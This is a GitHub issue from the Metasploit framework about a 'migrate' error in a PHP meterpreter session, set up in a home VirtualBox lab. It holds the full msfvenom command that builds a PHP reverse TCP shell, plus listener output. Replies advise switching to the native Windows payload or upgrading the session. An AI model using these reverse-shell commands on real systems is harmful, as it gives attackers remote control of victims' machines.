Metasploit-framework: Error running command migrate: NoMethodError undefined method `pid' for nil:NilClass

Created on 12 Oct 2019  路  3Comments  路  Source: rapid7/metasploit-framework

Steps to reproduce

m@m-VirtualBox:~$ msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.56 LPORT=442 -f raw > 1.php [-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload [-] No arch selected, selecting arch: php from the payload No encoder or badchars specified, outputting raw payload Payload size: 1112 bytes

I created a simple reverse php shell with msfvenom.

Current behavior

Started a listener in msfconsole and meterpreter session is started so far so good :

msf5 exploit(multi/handler) > exploit [*] Started reverse TCP handler on 192.168.1.56:442 [*] Sending stage (38288 bytes) to 192.168.1.43 [*] Meterpreter session 2 opened (192.168.1.56:442 -> 192.168.1.43:49876) at 2019-10-12 07:30:46 +0200

But when i try to migrate to explorer.exe i get an error :

meterpreter > migrate 3488 [-] Error running command migrate: NoMethodError undefined methodpid' for nil:NilClass`

LOG:
/opt/metasploit/apps/pro/engine/config/logs/framework.log:

/opt/metasploit-framework/bin/../embedded/framework/msfconsole:49:in <main> [10/12/2019 07:31:10] [e(0)] core: stdapi_sys_process_attach: Operation failed: 1 [10/12/2019 07:31:10] [e(0)] meterpreter: Error running command migrate: NoMethodError undefined method pid for nil:NilClass [10/12/2019 07:31:10] [d(0)] meterpreter: Call stack: /opt/metasploit-framework/embedded/framework/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb:1214:in cmd_migrate /opt/metasploit-framework/embedded/framework/lib/rex/ui/text/dispatcher_shell.rb:523:in run_command /opt/metasploit-framework/embedded/framework/lib/rex/post/meterpreter/ui/console.rb:105:in run_command /opt/metasploit-framework/embedded/framework/lib/rex/ui/text/dispatcher_shell.rb:474:in block in run_single /opt/metasploit-framework/embedded/framework/lib/rex/ui/text/dispatcher_shell.rb:468:in each /opt/metasploit-framework/embedded/framework/lib/rex/ui/text/dispatcher_shell.rb:468:in run_single /opt/metasploit-framework/embedded/framework/lib/rex/post/meterpreter/ui/console.rb:68:in block in interact /opt/metasploit-framework/embedded/framework/lib/rex/ui/text/shell.rb:146:in run /opt/metasploit-framework/embedded/framework/lib/rex/post/meterpreter/ui/console.rb:66:in interact /opt/metasploit-framework/embedded/framework/lib/msf/base/sessions/meterpreter.rb:576:in _interact /opt/metasploit-framework/embedded/framework/lib/rex/ui/interactive.rb:51:in interact /opt/metasploit-framework/embedded/framework/lib/msf/ui/console/command_dispatcher/core.rb:1364:in cmd_sessions /opt/metasploit-framework/embedded/framework/lib/rex/ui/text/dispatcher_shell.rb:523:in run_command /opt/metasploit-framework/embedded/framework/lib/rex/ui/text/dispatcher_shell.rb:474:in block in run_single /opt/metasploit-framework/embedded/framework/lib/rex/ui/text/dispatcher_shell.rb:468:in each /opt/metasploit-framework/embedded/framework/lib/rex/ui/text/dispatcher_shell.rb:468:in run_single /opt/metasploit-framework/embedded/framework/lib/msf/ui/console/command_dispatcher/exploit.rb:215:in cmd_exploit /opt/metasploit-framework/embedded/framework/lib/rex/ui/text/dispatcher_shell.rb:523:in run_command /opt/metasploit-framework/embedded/framework/lib/rex/ui/text/dispatcher_shell.rb:474:in block in run_single /opt/metasploit-framework/embedded/framework/lib/rex/ui/text/dispatcher_shell.rb:468:in each /opt/metasploit-framework/embedded/framework/lib/rex/ui/text/dispatcher_shell.rb:468:in run_single /opt/metasploit-framework/embedded/framework/lib/rex/ui/text/shell.rb:151:in run /opt/metasploit-framework/embedded/framework/lib/metasploit/framework/command/console.rb:48:in start /opt/metasploit-framework/embedded/framework/lib/metasploit/framework/command/base.rb:82:in start /opt/metasploit-framework/bin/../embedded/framework/msfconsole:49:in <main>

System stuff

First System is a virtual box with windows 10 (10.0.17763.805) running a webserver with php which hosts the revers_shell.php created with msfvenom.

Second machine is a virtual box running ubuntu 19.04 with metasploit (metasploit v5.0.54-dev-)

Metasploit version

metasploit v5.0.54-dev-

I installed Metasploit with:

Installed with the installer :
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \
chmod 755 msfinstall && \
./msfinstall

ruby version : ruby 2.5.5p157 (2019-03-15 revision 67260) [x86_64-linux-gnu]

OS

Ubuntu 19.04

Most helpful comment

Only windows native meterpreter (windows/meterpreter/reverse_tcp) supports migration. You might be able to upgrade from PHP meterpreter to native meterpreter with sessions -u ... or set windows/meterpreter/reverse_tcp as the payload instead of PHP.

All 3 comments

Only windows native meterpreter (windows/meterpreter/reverse_tcp) supports migration. You might be able to upgrade from PHP meterpreter to native meterpreter with sessions -u ... or set windows/meterpreter/reverse_tcp as the payload instead of PHP.

Ok, thank you. Didn't know this, sorry for creating this issue. Can be closed.

I cant get the meterpreter when set windows/meterpreter/reverse_tcp,my attack system is kali linux,the target is win7,I don't know the reason that I cant get the meterpreter by windows/../reverse_tcp

Was this page helpful?
0 / 5 - 0 ratings

Related issues

wvu-r7 picture wvu-r7  路  3Comments

notdodo picture notdodo  路  3Comments

bcoles picture bcoles  路  3Comments

XSecr3t picture XSecr3t  路  3Comments

handsomebeast picture handsomebeast  路  3Comments